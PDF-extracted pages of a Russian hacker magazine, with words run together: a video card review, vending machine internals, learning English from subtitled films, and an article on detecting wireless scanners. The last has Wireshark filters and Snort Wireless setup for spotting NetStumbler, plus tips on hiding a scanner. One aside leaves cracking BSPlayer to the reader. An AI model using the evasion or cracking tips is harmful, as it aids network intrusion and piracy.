41,1Half-Life 2 Lost Coast HDR (1280x1024 AA4x/AF16x), FPS: 29,9Технические характеристики:Тип устройства: графическая платаГрафический процессор: NVIDIA GeForce 7100GSЧастота ГП, МГц: 350Частота памяти, МГц: 660Объем памяти, Мб: 128 DDR2Пиксельные конвейеры, шт.: 4Вершинные конвейеры, шт.: 3Шина памяти, бит: 64Интерфейс: PCI-Express x 16Техпроцесс, нм: 90+1. Устройство построено на графическом чипе NVIDIA GeForce7100GS, который характеризуется наличием четырех пиксельных и трехвершинных конвейеров. Работает процессор на штатных частотах —350 МГц.2. Главная фишка этой видеокарты — поддержка технологииTurbocache, благодаря которой объем видеопамяти может достигать512 Мб. Проще говоря, карта заимствует часть у оперативной памяти, однакоработать такая функция будет только при условии наличия1 Гб предустановленной ОЗУ.3. Кулер, прямо скажем, ничем экстраординарнымне отличается. Это небольшой по высоте алюминиевый прямоугольныйпараллелепипед — банальная пассивная охлаждалка. Согласно нашимданным, при нагрузках графический процессор греется очень слабо— у нас температура не превысила 46 градусов по Цельсию.4. Видеокарта Palit 7100GS поддерживает технологию SLI. Пользовательможет увеличить производительность, установив две столь замечательныеплаты в конфигурацию дуального режима работы. Однако смысла в даннойпроцедуре крайне мало — проще купить одну приличную видеокарту.5. Palit 7100GS также полностью поддерживает Microsoft DirectX 9.0и шейдерную модель 3.0.-1. Очень низкая производительность в современных играх. Придетсяжертвовать разрешением, эффектами и т.п., чтобы хоть как-то погамать.Результаты тестирования:3D Mark 2006: 4213D Mark 2005: 872Half-Life 2, 1024х768: 18Doom 3 (Min. Det.), 1024x768: 11Тестовый стендПроцессор: AMD Athlon 64 3500+. Материнская плата: Albatron K8SLI. Кулер: Glacialtech Igloo 7200 Light. ОЗУ, Мб: 512, Corsair Value Select VS512MB400Винчестер, Гб: 80, Seagate Barracuda 7200rpm. Блок питания, Вт: 350, Noname.test_lab выражает благодарность за предоставленное на тестирование оборудование компаниям Nevada (т. (495) 101-2819, www.nevada.ru),2L (т. (495) 508-7252, www.2l-pr.ru), российскому представительству компании GoTView, а также европейскому представительству компании Biostar.xàêåð 02 /98/ 07/033


insideДенис «ELF» Романов/ ELF_DEN@LIST.RU /внутренностивендинговыхаппаратовАвтоматы, которые варят кофе, продают газировку и шоколадки, всегда будоражилиумы хакеров. Любая автоматизация привлекает нас: там чипы и микросхемы,там мы ищем баги и ошибки. Лет пять назад такие автоматы можно было легко обманывать,засовывая вместо реальных банкнот ксероксы и вытаскивая за веревочку опущеннуюмонету. Сейчас такой примитив уже не катит, но интерес к автоматам остался.Именно это и определило сегодняшнего пациента «Инсайда».1) Хранилищестаканчиков.Влезает 1000стаканов2) Емкостьпод сахар1269107) Цистернас водой на 50 л8) Мусорноеведро39) Банкнотоприемник3) Дозаторы41110) Системнаяплата4) Миксер5711) Монетоприемник5) Отсекподачи кофе6) Eмкости подингридиенты(кофе, сливкии т.д.)81212) Отсеквыдачи сдачи/ 034xàêåð 02 /98/ 07


insideМонетоприемникМонетоприемник — это специальноеустройство для приема и распознованиямонет. Существует две разновидностимонетоприемников: те, которыевыдают сдачу, и те, которые сдачу не выдают.В первом случае монетоприемникимеет небольшие габариты, дешевостоит и, вообще, работает очень просто.Монета попадает в специальный отсек,где освещается светодиодами. Возвращаемыйсвет попадает на фотоэлемент,сигнал с которого — «фотографию»монеты — анализирует контроллерустройства. На флешке девайса зашитынекоторые эталонные сигнатуры длякаждого из допустивых типов монет,с которыми и сравнивается образмонеты.В случае если автомату нужно выдатьсдачу, первым делом рассчитывается,сколько и каких монет нужно выдатьпользователю. После этого в ход идетхитрый механизм, который выбрасываетклиенту нужные монеты, забирая ихиз специального лотка.Монетоприемный механизмСистемна плата снетч-автомата Лоток с монетами в механизме выдачи сдачи1) Микропроцессор635) Видеопорт дляподключения экрана2) Конденсаторы7246) Свободные портыдля допополнительныхустройств3) Питание платы17) Флеш-память84) Подключенныймонетоприемник8) Порт подключениябанкнотоприемника5/ 036xàêåð 02 /98/ 07


insideСнетч - автоматХранилище с ложечками и стаканчикамиЕмкости под ингридиенты (кофе, шоколад, какао, сливки)MDB протоколMDB (Multi-Drop Bus) — это протокол для«общения» устройств внутри автомата. С егопомощью осуществляется взаимодействиеразличных узлов, при этом обычно не возникаетпроблем с совместимостью девайсов разныхпроизводителей, поскольку протокол описансторонней конторой и все производители придерживаютсяего спецификации.Главный контроллер автомата — VMC (vendingmachines controller) — является главным устройствоммашины и посредствомчетко описанных в протоколе MDB команд«общается» с другими устройствами.Главными приемуществами протокола MDBявляются возможность быстрого подключенияустройств к автомату и обеспечение совместимостиустройств от разных вендоров.СоленоидВообще, соленоид — это катушка. В контексте вендинговыхавтоматов под «соленоидом» понимают электромагнитныйклапан, который служит для открытия доступа водыв нагревательный бак (бойлер). Практически все автоматыпо продаже напитков оснащены соленоидами.Составные части соленоида:электромеханический клапан с возвратной пружиной;электромагнитная катушка;корпус.При подаче электронного сигнала на электромагнитнуюкатушку, притягивается электромеханический клапан и открываетсяотверстие в корпусе для прохода воды. Как толькосигнал прекращается, пружина возвращает клапан наместо и перекрывает подачу воды.xàêåð 02 /98/ 07/037


pc_zoneКрис Касперски ака мыщъхАнглийскийс турбонаддувомХакерский подход к изучению иностранного языкаКак изучить английский за минимальное время и практически без усилий? Какиеметодики существуют и какие программы могут этому поспособствовать? Возможноли за пару месяцев подтянуть свой уровень с полного нуля до свободного общенияс американосами по мылу, аське и в чате? И если это реально (а это реально),то в каком направлении нужно идти?/ 038xàêåð 02 /98/ 07


pc_zoneА что нам стоит дом построить?Кто из нас не мечтает выучить английский язык? Но далеконе у всех эта мечта воплощается в жизнь. Соблазнившисьперспективами очередного широко разрекламированногоSubRip за работойКxàêåð 02 /98/ 07 /то из нас не мечтает выучить английский язык?Но далеко не у всех эта мечта воплощаетсяв жизнь. Соблазнившись перспективамиочередного широко разрекламированногокурса, ты надеешься проснуться с полным словарным запасовв голове, что вполне понятно (грызть гранит науки —это не пиццу уплетать). Но, увы, даже если допустить, что восне (или под гипнозом) можно усвоить огромное количествоинформации за короткое время, это не сильно приблизитнас к решению проблемы. Язык — это не только свод правили словарный запас, но еще и совокупность навыков, приобретаемыхтолько опытным путем. Можно долго читатьучебники, наизусть выучить словарь, но толку от этого будет— ноль! Это подобно игре в хоккей: ты можешь сколькоугодно смотреть на бравых парней по телевизору, знатьо них все, но ездить на коньках и забивать шайбы ты от этоголучше не будешь! И вообще, знать язык и изъясняться наязыке — понятия перпендикулярные. Возьмем, к примеру,меня. Можно ли сказать, что я знаю язык? Конечноже, нет! Я постоянно путаю лица, времена и совершаюмассу других глупых ошибок, а употребление предлогов дляменя вообще темный лес… Тем не менее, я свободно прочитываюдо нескольких сотен страниц технической документациив день, наслаждаюсь оригинальными английскимикнигами, занимаюсь web-серфингом, активно переписываюсьс зарубежными друзьями, смотрю фильмы без перевода(разбирая на слух до ~75%), и все это практически без помощисловаря и… без дополнительных трудозатрат. В учебникивгрызаюсь лишь в свободное время, которого в лучшемслучае удается выкроить не больше нескольких часовв неделю. И при этом прошу учесть, что врожденной склонностик языкам у меня нет. Зато я понимаю, что лучшийподход к делу — это учить язык на практике.Хакерский способВозможности поехать на год за границу и набраться всехпремудростей того же английского от англичан у менянет, хотя это, безусловно, наилучший вариант. Чтениеанглийских текстов, несомненно, дает результаты. При живомразборе предложений грамматические конструкциии незнакомые слова врезаются в память намного лучше, чемпри зубрежке искусственных примеров. К тому же неиспользуемые(редко используемые) конструкции идутлесом — оптимизация, однако! Но сухие тексты — это всеже не то. Мой фирменный рецепт — фильмы. По фильмам(с оригинальной звуковой дорожкой и субтитрами) за 2-3месяца язык осваивается до вполне приемлемого уровняи легко воспринимается на слух. Такой подход имеет массуВыбор цвета текста поможет, если субтитры отображаютсяс дополнительными эффектамипреимуществ перед традиционными методиками. Когдав книге написано: «pull the level», то еще сообразитьнадо, что имеется в виду (при условии что данное значениеслова «level» нам еще не известно), а из фильмавсе ясно и так. Сказали обезьяне потянуть за рычаг— она и потянула (а что ей еще оставалось делать?!)К тому же лично у меня (да, наверное, и у остальных)лучше запоминаются не слова, а целые фразы или дажепредложения. Например, слово «desperation» само по себебезлико. Фиг запомнишь. Но когда Морфиус говорит: «Thisattack is an act of desperation», оно крепко врезается в память.Короче, будем считать, что я тебя убедил. Берем фильм(где брать, мы еще разберемся), начинаем смотретьи… практически ничего не понимаем, улавливая лишьотдельные слова. Все остальное сливается для нас в нечленораздельнуюречь, пролетающую мимо сознания. Не переживайи не впадай в депрессию. С твоими ушами всев порядке. У всех нормальных людей при обычном разговоредо мозга доходит порядка 30% звуковой информации, остальноенеобратимо теряется по дороге. Опыт, полученныйпри прослушивании пластинок, наговоренных дикторомс четким британским выговором, которые иногда крутилив школе, — плохой помощник. То же самое относится к мультимедийнымдискам с курсом английского языка.Живой язык он… совсем другой. Британцы, когдаговорят, в транскрипцию не смотрят, а что касаетсяАмерики, кладбища всех культур и народов, то здесь понятие«правильного произношения» отсутствует вообще.Субтитры, или палочка-выручалочкаБесполезно слушать речь, если ни чертане понятно. Это никакая не тренировка получается, а самаянастоящая мастурбация! Тут-то субтитрыи выручают! Синхронный вывод текста на экран позволяетсопоставить звуки и буквы. Вот появляется длиннаяфраза (строки на две будет), мы внутренне готовимсяк «схватке», мысленно проговаривая ее про себя, и вдругвыясняется, что герой ее уже сказал. Когда же онуспел?! Какой облом! Не надо удивляться. Разговорныйанглийский намного короче, чем письменный, к томуже американцы часто глотают не только отдельныеслоги, но и целые слова или произносят их на крейсерскойскорости. Поэтому, прежде чем смотреть фильм, субтитрыжелательно несколько раз прочитать, убедившись,что все слова известны (а неизвестные — найтив словаре). Скорость чтения «с листа» никак не можетпревышать продолжительности фильма. Если мы тормозимс переводом, то со слуха и подавно ничего не поймем!DVDНа дискеты найдешьплееры, кодеки, программыдля работыс субтитрами, которыепомогут тебеосвоить английский.http://Лучшие интернетмагазины,торгующиеCD-дискамис фильмами наанглийском языке:www.qstudy.ru;www.kinobox.ru;www.native-english.ru.!Естественно, простовзять и начатьпросматриватьиностранныефильмы в оригиналетрудно.Но я уверен, чтопочти каждый изнас имеет хотя быминимальное знаниеязыка. А оно-тои нужно!039


pc_zoneОкно настроек FFDShow, ответственное за отображениесубтитровSubtitle Workshop идеально подходит как видеоплеерНа DVD субтитры хранятся в графическомвиде, что не есть хорошо, но народ уже давноналовчился выдирать их оттуда, перегоняяв текстовой файл, записанный в том илиином формате. Основных форматов два — subи str. В первом случае текст привязан к номерамфреймов (смотри листинг 1), во втором — ковремени от начала фильма (смотри листинг 2)..Файлы субтитров можно спокойно модифицироватьв любом текстовом редакторе, помечаянепонятные места, слова, которые не удалосьразобрать и т.д. При многократном прослушиваниизацикленного фрагмента часть неразборчивыхслов постепенно «проявляется», а часть— так и остается энигмой. По мере обученияязыку, «распознавательные» способностинеуклонно растут и большинство пометокснимается, но достичь 100% результата удаетсядалеко не всегда. Текст субтитров слегка отличаетсяот произносимого в фильме, причемэто несоответствие может быть как негативным(пропущенные слова), так и позитивным (лишниеслова, отсутствующие в речи актера).По умолчанию субтитры отображаются в нижнейчасти экрана. Считается, что так удобно. Ну, дляобычного просмотра, может быть, и удобно(текст не загораживает изображение), но намдля облегчения восприятия субтитры лучшевсего поднять наверх. А отслеживать произносимыеслова помогает мышь. На первыхпорах, пока большинство слов на слух ещене понятно, распознание границ слов ужеможно считать большим достижением, послекоторого прогресс в обучении будет происходитьзаметно быстрее. Еще один совет: слушатьфильм лучше всего в наушниках — так легчесосредоточиться на звуке, да и качество у нихбудет повыше, чем у колонок.Необходимые ингредиентыДля изучения английского по фильмамнам, в первую очередь, нужны фильмыс оригинальной звуковой дорожкойи субтитрами, а еще плеер с возможностьюбыстрой прокрутки назад, прыжков вовремени, установки закладок и прочимиудобствами по вкусу. Слово «быстрой» здесьключевое. Перемотку поддерживают практическивсе плееры, в том числе и стандартныйMicrosoft Media Player Classic, но сколькотелодвижений (и движений мышью) при этомпридется совершить? Это же сдохнуть можноза это время! Крайне желательна возможностьзамедления изображения (вместе со звуком)на 10%, 20%, 30%… Большинство плееровподдерживают слишком грубый скоростнойряд — 2/3x, 1/2x, 1/4x, причем звук они, какправило, отключают, что нас совершенноне устраивает, поскольку замедление на 10-30%значительно упрощает декодирование неразборчивойречи и быстрых диалогов. На первыхпорах без этого никуда! Также будутсовсем не лишними эквалайзер и программыулучшения четкости речи. Другой ключевойингредиент — субтитры и средства их вывода наэкран. Теперь выясним, где все это найти.ФильмыПроще и легче всего покупать уже срипанныефильмы с выверенными субтитрамина CD/DVD в специализированных интернет-магазинах,созданных для таких какмы. В смысле, для изучающих английскийязык. Достоинства: мы получаем диск, готовыйк непосредственному употреблению; субтитрысодержат минимум ошибок; оперативнаядоставка; приемлемые цены; забота о клиенте(еще бы, ведь клиентов мало, и каждым из нихприходится дорожить). Недостатки: это нештамповка, а CD-R, причем не очень высокогокачества. Читается с надрывами, долгоне живет. Перед просмотром приходится перегонятьна винт (а это потеря времени). Ассортиментфильмом крайне невелик, а сам рип выполнендовольно грубо — необрезанные черныеполосы, черезстрочечная развертка, закодированнаякак прогрессивная (быстро движущиесяобъекты омерзительно двоятся, а при сменесцены соседние кадры накладываются другна друга). Со звуком, впрочем, все в порядке(чаще всего он mp3, чуть реже — AC3). А наизображение при изучении английского можнои не обращать внимания. Список таких специализированныхсайтов ты найдешь в боковыхвыносах.Обладателям DVD-привода (которым сейчасобладают практически все) одновременнои проще и сложнее. Проще, потому чтодостаточно многие фильмы содержат оригинальнуюзвуковую дорожку, а некоторые— еще и оригинальные субтитры. Но! Как ужеговорилось, на DVD субтитры хранятся в текстовомвиде и предварительно должны бытьсрипаны. DVD-плееры достаточно ограниченыв плане функциональности, и для реальнойработы с видеоматериалом его приходится перегонятьв более привычный формат AVI, о чеммы говорили в статье «Правильный DVD-Ripсвоими руками».Но затраченные усилия стоят того, посколькузначительно расширяютассортимент, а в обучении языку главное— это разнообразие. В разных фильмах актерыговорят по-разному: от хорошо поставленнойречи, как, например, в «The Matrix», до уличногоанглийского («Chasing Amy»). Но еще важнееотобрать фильмы, которые можно без отвращениясмотреть по 10-15 раз, а таких, увы,немного.Купить DVD можно в любом ларьке, но это всегда«кот в мешке». Даже если наличие оригинальнойзвуковой дорожки и субтитровуказано на коробке, это еще не значит, чтоони там действительно есть (особенно, еслидиск из серии «лицензия по 80 рэ»). Так чтопроверка на месте обязательна! Убедись, чтооригинальная звуковая дорожка и субтитрысинхронизованы с изображением, несинхрон— вполне обычное дело. Бытует мнение, что«подлинная» лицензия за 350 рэ — это гарантированноекачество и никаких подвоховздесь нет. Народ тащится от крутости SUPERBITи EXTRABIT, не подозревая, что… мастер-дискзаписывается с помощью AHEAD Nero (в чемлегко убедиться, прочитав содержимое Source/ 040xàêåð 02 /98/ 07


pc_zoneПолезные ресурсыСтарый добрый BSPlayer версии 0.84 готовитсяосуществить прыжок во времениwww.efl.ru — «Английский язык из первых рук», много методическихматериалов и оживленный форум, на котором часто встречаютсяреальные носители языка, у которых всегда можно проконсультироватьсяпо сложным вопросам;www.urbandictionary.com — лучший словарь жаргона, какой толькоесть, включающий в себя и матерные слова, и всякие там идиоматическиевыражения, и даже такие непереводимые словечки, как 90210[world | college boy], где 90210 — код Brewery Hills, в котором живут богатыетолстосумы, отсюда «90210 college boy» — «сын нового русского»;www.franklang.ru — мультиязыковой портал обучения по методуИльи Франка, на котором собрано просто гигантское количествоучебников, грамматических справочников, словарей, литературныхпроизведений и всего-всего-всего, что только можно пожелать;www.native-english.ru — методические материалы по английскому, тестына знания языка, форум, магазин, высылающий фильмы по почте(между прочим, фильмы довольно хорошего качества);www.eslnotes.com/movies/pdf — специально для изучающих языкпо фильмам здесь даются объяснения всех заковыристых (и не оченьзаковыристых) выражений, которые отсутствуют в обычныхсловарях, но… часто встречаются в реальной жизни.Media Implementation Identifier), а сколько тамнарушений Стандарта…Вот почему покупать DVD по интернетудовольно рискованно. К тому же далеконе все магазины утруждают себя указаниемтаких параметров, как язык и наличиесубтитров. Но один магазин, которымпостоянно пользуюсь сам, я все же могупорекомендовать: www.dvddom.ru.Как рипать субтитрыДобывать субтитры с DVD приходится путемOCR, что с учетом низкого разрешения довольнозатруднительно, но… все-таки возможно! Существуетне так уж много программ, предназначенныхдля решения этой задачи, и лучшевсех с ней справляется SubRip, пользующийсябольшой популярностью среди риперов, занимающийвсего 833 килобайта (сравнис FineReader), поддерживающий больше дюжиныязыков и распространяемый совершеннобесплатно. Свежую версию всегда можноскачать с http://zuggy.wz.cz.SubRip — это самообучающаяся программа, работающаяв кооперации с естественныминтеллектом, превзойти который еще никомуне удалось. SubRip всего лишь разбивает текст наотдельные символы — матрицы — и выводит его наэкран, подсвечивая текущую матрицу прямоугольнымкурсором и требуя ввести соответствующийей символ с клавиатуры. Если соседниесимволы соприкасаются, SubRip разобрать ихпо отдельности оказывается не в состояниии они образуют единую мегаматрицу, состоящуюиз двух (реже — трех) символов, которые такжедолжны быть введены человеком с клавиатуры.Однажды введенная матрица сохраняетсяв памяти и сравнивается со всемиостальными. Если количество различийне превышает некоторого порога (задаваемогов настройках), символ считается успешнораспознанным. В противном случае SubRipобращается за консультацией к естественномуинтеллекту.Темп обучения программы (равно каки скорость распознавания) растетэкспоненциально. Чем больше символовузнает SubRip, тем реже он дергаетчеловека. Некоторые символы, такие,например, как знак «%», разбиваютсянеправильно, и в матрицу попадает лишьверхний кружок. Расшить матрицу можнолибо кнопкой «>>», либо горячей клавишей.xàêåð 02 /98/ 07/041


pc_zoneОсторожно! Идет поиск субтитровше прибавляют в весе, чем в функциональности. К тому же с некотороговремени BSPlayer стал просить денежку или… показывать рекламу. Такчто решай сам: платить или ломать. А скачать его можно с wкww.bsplayer.org.ЗаключениеВот и подошло к концу наше небольшое рандеву. Впереди — тропа, ведущаяесли не к познанию языка, то, по крайней мере, к овладению им. Таксказать, взятию силой без какого-либо согласия с его стороны. И пустьпижоны доказывают нам, что так язык не учат и, вообще, «американскийанглийский» неправильный и т.д. и т.п. Язык — это, прежде всего, средствообщения (и приобщения к сокровищнице мировой культурыи информации). Если не углубляться в языковые дебри, то можнообнаружить, что английский — намного более простая штука, чем кажетсянам по учебникам.Легче всего язык осваивается именно в процессе живого общения(пускай, хотя бы и одностороннего, как в случае с фильмами). Учить жеего «вхолостую», без конкретного приложения — означает понапраснутерять время, которое лучше потратить на кодирование/дизассемблирование. zКОДЛистинг 2: Фрагмент файла субтитров,записанного в str-формате100:01:29,381 --> 00:01:31,800There comes a timefor every vampire...200:01:31,967 --> 00:01:37,222...when the idea of eternity becomesmomentarily unbearable.300:01:37,431 --> 00:01:41,643Living and feeding in the shadowswith only your own company..КОДЛистинг 1: Фрагментфайласубтитров,записанного в subформате{1421}{1457}Somebody askedme:{1463}{1541}«Phil,if youcould beanywhere,|wherewould you be?»{1547}{1608}I saidto him,|«Probablyright here...xàêåð 02 /98/ 07/ 043


pc_zoneАндрей «Skvoznoy» Комаров/ andrej@itdefence.ru /Программы для обнаружения атак на беспроводную сетьНа чем палятсявардрайверы?Проникнуть в чужую беспроводную сеть — чем не забава! Пошалишь и смотаешься.Взломщик не подключается к сети по проводам и может находиться где угодно, лишьбы был уверенный прием. В автомобиле на улице, например. Попробуй поймай! Тольковот, что я тебе скажу: все это популярное заблуждение. Технологии защитыразвиваются, и даже банальное сканирование эфира самими обычными программамивыдаст тебя с потрохами. А ты не знал?Как выявить сканирование?Чтобы найти поблизости беспроводныеустройства, а следовательно, и беспроводныесети, используют специальные сканерыэфира. Поставил такую штуку на ноутбук илиКПК и гуляешь по городу, в то время какпрограмма ведет логи всех найденных точекдоступа с указанием SSID (идентификаторасети), производителя оборудования, механизмашифрования, скорости работы и дажекоординат, если к ноуту подключен GPS-модуль.Знакомые софтины — Netstambler, Macstambler,Kismet (или его версия под винду — Kiswin)— в два счета просканируют эфир и выдадут всюинформацию на экран./ 044Но тут есть один важный момент, о котороммногие даже не подозревают! Эти сканерыне просто пассивно просматриваютэфир, но также используют активные методыисследования, посылая в сеть специальныепакеты. Если ты просканировал эфирNetstambler’ом, то считай, ты уже выдал своеприсутствие. Хорошо, если беспроводнаясеть — это одинокая точка доступа, которойвряд ли даже поменяли пароль для администрированиячерез веб-панель. Но еслиэто серьезная компания, то к любой подобнойактивности (внутри закрытой сети) отнесутсяс подозрением. И дело тут вот в чем.Когда осуществляется пассивное сканирование(в соответствии со стандартом802.11, то есть Wi-Fi), ничего страшногоне происходит, но и эффективность такого сканированиянулевая! Как только дело касаетсяинтимной информации о сети (которая можетбыть очень полезна взломщику), стемблервыдает свое присутствие из-за специальногоLLC/SNAP-фрейма.Еще 3 года назад (23 марта 2002 года) хакер-исследовательMike Craik предложил уникальныйидентификатор, по которому можно задетектитьтрафик программы NetStumbler: LLCфреймы,генерируемые сканером и содержащиеуникальный идентификатор (OID) 0x00601dи идентификатор протокола (PID) 0x0001. Кромеxàêåð 02 /98/ 07


pc_zoneDVDПосле пробы такого софта Nestumbler использоватьдаже как-то не хочетсятого, специальная строковая переменная, передающаясячерез 58‐байтное поле данных, содержит информациюо версии продукта в так называемом «пасхальном яйце»:0.3.2 Flurble gronk bloopit, bnip Frundletrune0.3.2 All your 802.11b are belong to us0.3.3 " intentionally blank"Причин для таких подвохов может быть много, в том числепросьба оперативных органов, ссориться с которыми авторубесплатной программы, естественно, не хочется. Чтобыустранить «пасхальное яйцо», следует поковырять бинарникnetstumbler.exe редактором ресурсов и изменитьего. Но это не решит проблему обнаружения сканирования(с LLC-фреймом ничего не сделать). И к слову, Ministumbler— тулза из той же серии, только для платформы Pocket PC,— содержит аналогичные подвохи.А как насчетальтернативы Netstumbler’у?Теперь понятно, каким образом тебя может выдать обычноесканирование? И вроде бы ничего не делал, а по шапке получитьуже можешь. Причем что с Netstumbler’ом, что с любымдругим софтом. Рассмотрим лишь несколько примеров.DStumbler (www.dachb0den.com/projects/dstumbler.html)Это известнейший BSD-сканер беспроводных сетей,который, в отличие от Netstumbler, может проводить пассивноесканирование (режим RFMON), то есть определяетналичие точки доступа и ее SSID. Тем не менее, в режимеактивного сканирования в нем тоже существуют эксклюзивныесвойства. В поисках точки доступа программагенерирует огромное количество запросов (frame_control0x0040). После получения ответа точки доступа на подобныйзапрос, будет произведена попытка запроса авторизации(0x0b) и ассоциации (0x0c). Эти значения являютсяконстантами, что дает право на их использование в качествеуникального идентификатора.Wellenreiter (www.wellenreiter.net)Может быть, кто-то, прочитав это, подумает: «А в чемпроблема? Заюзай пассивное сканирование, и вседела!» Возьмем сканер Wellenreiter, основанный как раз наэтом принципе и включенный в состав известного хакерскогоLiveCD-дистрибутива — BackTrack. Утилита заточенапод Unixware-окружение и в качестве базового условия длястарта, естественно, использует iwconfig. После опознаваниябеспроводной карточки ESSID будет автоматически выставленxàêåð 02 /98/ 07/Модель логики построения безопасностис участием сенсоровна «This is used for wellenreiter», а MAC-адрес сконфигурированна произвольный. Опять палево!После такого разгрома даже руки опускаются. Не софт, а настоящеезападло для хакера. Что же делать? ЗаюзатьWindows-механизм? Скачивать ничего не надо, и работаетон, в общем-то, неплохо — хороший, вроде бы,вариант… Как бы не так! Его механизм тоже используетактивный режим сканирования, посылаются те же запросыс широковещательным SSID и уникальным программнымидентификатором, что и будет основой детекта подобногорода сканирования. Уникальный фрагмент находится в части«SSID Parameter Set» и состоит из 32 байтов.Воспользовавшись функциональными способностямиснифера Ethereal (Wireshark), можно без труда определитьподобную активность потенциального «воздушного» хакера:Netstumbler: wlan.fc.type_subtype eq 32 andllc.oui eq 0x00601d and llc.pid eq 0x0001Dstumbler: (wlan.seq eq 11 and wlan.fc.subtype eq 11) or (wlan.seq eq 12 andwlan.fc.subtype eq 00)Здесь 11 (0x0b) — значение во фрейме авторизации, 12 (0x0c)— константа из запроса ассоциации.Как поймать хулигана?Важно не столько засечь несанкционированные действияв сети, сколько выявить нарушителя. Здесь возникаетопределенная головоломка, так как мобильность самойтехнологии Wi-Fi изначально подразумевает таких жемобильных клиентов, которые могут перемещаться вовремя сеанса пользования сетью. Нашей задачей будетвыработка схемы сетевой инфраструктуры, в которой существовалобы как минимум две предпосылки, свидетельствующиео наличии злоумышленника среди доверенногорадиопокрытия. Способы обнаружения злоумышленникаобычно базируются на данных, поступающих из разныхудаленных друг от друга источников. При этом анализируютсяданные об уровне приема абонента, а также информацияиз логов систем обнаружения вторжений (IDS).На представленной схеме (смотри рисунок) перед нами модельтривиальной постановки: точки Y и Z выступают в ролиAP-«мониторов» (сенсоров нападения), так или иначепередающих событие «произошло сканирование» наспециальную систему. Конец коридора ограниченбетонными стенами, изолирующими сигнал от помехизвне. Задавая границу в радиопокрытии точки (кДистрибутивBacktrack, программыMySLAX Creator, BartPE Builder, MKBT,Syslinux, а также всевспомогательныеутилиты ты найдешьна DVD.На диске ты такжеобязательно найдешьвесь описанный в статьесофт и полезныедоки по методамтрилатерации.iНекоторые методытриангуляциииспользуются дляслежки за абонентамисотовой связи. Чистотеоретически, еслистандартнымисредствами можноопределить расстояниеот базовой станциидо телефона, топо расстояниям оттрех базовых станцийможно получитьточные координатыаппарата, а по расстояниюот двух БС — дветочки, в одной из которыхбудет находитьсятелефон. Вот такаяматематика…/ 045


pc_zoneМетод триангуляции на пальцахКомплекс DSWA собственной персоной! Точки доступа, сотрудники, доверенное оборудованиеи даже нарушители — все как на ладонипримеру, 10 метрами), можно выработатьдействия по реагированию на подозрительныесобытия.Не трудно догадаться, что если будет заподозренпоследовательный Stumbling от точекz,y к x, то злоумышленник находитсяв вполне определенном квадратепространства. Соответственно, создаваяподобную архитектуру по флагам и опираясь навнимание и определенный набор ПО, можнодавать указание службе безопасности выдвигатьсяв соответствующие стороны.Остается вопрос: чем фиксировать действиясканера? Это реализуется следующими программнымирешениями.ГлоссарийЗапросы ассоциации — это наборзапросов, посылаемых к точке доступа, ответна которые зависит не только отналичия в радиусе активных точек, но и отрежима, в котором находятся эти устройства.Запросы аутентификации — методы, применяемыедля успешной авторизации в Wi-Fiсетях с использованием специальныхфреймов.SSID (Service Set Identifier)/ESSID (ExtendedService Set IDentifier) — идентификатор, позволяющийотличать сети друг от друга, задающийим определенное название.LLC-кадры используются в стандарте802.2, который является базовым дляпопулярных технологий сетей, проводныхи беспроводных. LLC — это подуровеньканального уровня сетевой модели OSI (отвечаетза организацию канала связи).Snort WirelessАдрес: snort-wireless.orgПлатформа: UnixЭдакая «пожарная сигнализация», котораяпредупредит практически о любой попыткевзлома. Главное, чтобы были грамотно настроенывсе правила или, иначе говоря, предварительнозаданные шаблоны атак и вредоносныхобъектов. Snort Wireless работает подобнопопулярному Snort, но в беспроводных сетях802.11x, защищая их от нападения. Настройкасводится к следующим пунктам:• указание информации об охраняемой территории(параметры сети, имя точки доступа);• конфигурация предпроцессоров;• конфигурация плагинов;• дополнительные собственные правила.Наиболее важный пункт здесь — конфигурацияпредпроцессоров, благодаря которым и происходитпереход с намека на атаку к боевойтревоге.• Предпроцессор Anti Stumbler. Для обнаруженияточек доступа Netstumbler рассылаетшироковещательные нулевые SSID, которые заставляютдругие точки доступа присылать своиSSID нам. Snort осознает массовость этого делас одного MAC-адреса и объявляет тревогу.Помимо этого, в наборе Snort Wireless присутствуютпредпроцессоры для детекта пассивногоскана и попытки подмены MAC.• Предпроцессор Anti Flood. При превышенииопределенного количества кадров в единицувремени или попыток авторизации происходитраспознавание Denial Of Service Atack.• Предпроцессор Anti Mac spoofing. Выявлениенесоответствий и сравнение с базойданных доверенных клиентов.После редактирования всех параметров файлsnort.conf обновится, и ты сможешь запуститьдемон в фоновый режим:snort -D -A fullNssys glassАдрес: home.comcast.net/~jay.deboer/nsspyglassПлатформа: WindowsNetstumbler Spyglass использует тот жепринцип, что и предпроцессор SnortWireless. К сожалению, из-за малого спектраподдерживаемого оборудования его не такчасто применяют. Рассмотрим его настройкуна примере роутера LinkSys. Перед работойнеобходимо позаботиться о наличии драйвераWinPcap (winpcap.polito.it). Далее вся настройкаосуществляется через довольно странныйконфигурационный файл NSSpyglass.ini, состоящийиз следующих 12 строк:0402011110BB Access Point MACAddress (No colons and No spaces)C:\windows\calc.exe05C:\windows\notepad.exe0110101В таком непонятном конфиге сам черт ногусломит, поэтому я объясню всепо порядку. В первой строке требуетсяпрописать MAC-адрес точки доступа. Втораястрока указывает путь к приложению, котороебудет запущено в момент опознаниязлоумышленника. Третья принимает значения0 или 1, в зависимости от твоего желания запускатьуказанное приложение или нет.Четвертая строка — таймаут в секундах до запускаследующего приложения после обнаружениявардрайвера. Пятая и шестая строки аналогичнывторой и третьей, но как раз следующегоприложения. Седьмая определяет записьистории событий в лог NSSpyglassLog.txt.Остальное неважно — скопируй как есть.AirsnareАдрес: home.comcast.net/~jay.deboer/airsnareПлатфорома: WindowsЕсли в сети работают одни и те же устройства(например, ноутбуки сотрудников), томожно легко внести их MAC-адресав «белый список» и отслеживать появлениепосторонних устройств, которыев этот список не входят. На таком простомпринципе, в частности, базируется/ 046xàêåð 02 /98/ 07


